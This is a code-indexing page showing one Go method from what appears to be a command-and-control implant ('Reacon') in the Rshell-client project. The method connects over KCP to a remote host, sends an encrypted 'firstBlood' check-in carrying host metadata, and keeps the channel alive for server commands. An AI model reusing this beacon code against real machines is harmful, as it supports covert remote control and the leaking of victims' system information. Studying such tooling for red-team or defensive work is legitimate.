MCPcopy Create free account
hub / github.com/Rubby2001/Rshell-client / InitializeClient

Method InitializeClient

Reacon_kcp/main.go:38–77  ·  view source on GitHub ↗

assuming for the sake of example

(host string)

Source from the content-addressed store, hash-verified

36 link.ReportError = communication.ErrorProcess
37 link.ReportData = communication.DataProcess
38}
39
40func (s *KCPClient) InitializeClient(host string) {
41 conn, err := kcp.DialWithOptions(host, nil, 10, 3)
42 if err != nil {
43 s.IsConnected = false
44 return
45 }
46 communication.KCPClient = conn
47
48 s.Client = conn
49 if s.Client != nil {
50 s.IsConnected = true
51 s.Buffer = make([]byte, 4)
52 s.MS.Reset()
53
54 if len(utils.MetaInfo) == 0 {
55 utils.MetaInfo, _ = utils.EncryptedMetaInfo()
56 utils.MetaInfo, _ = encrypt.EncodeBase64(utils.MetaInfo)
57 }
58 firstBloodInt := 1
59 firstBloodBytes := utils.WriteInt(firstBloodInt)
60 firstBloodMsg := utils.BytesCombine(firstBloodBytes, utils.MetaInfo)
61 communication.Send(firstBloodMsg, s.Client)
62
63 if s.keepAlive != nil {
64 s.keepAlive.Stop()
65 }
66 s.keepAlive = time.NewTicker(8 * time.Second)
67
68 go func() {
69 for range s.keepAlive.C {
70 s.KeepAlivePacket(s.Client)
71 }
72 }()
73
74 go s.ReadServerData()
75 } else {
76 s.IsConnected = false
77 }
78}
79
80func (s *KCPClient) ReadServerData() {

Callers 2

ReconnectMethod · 0.95
Run_mainFunction · 0.95

Calls 2

KeepAlivePacketMethod · 0.95
ReadServerDataMethod · 0.95

Tested by

no test coverage detected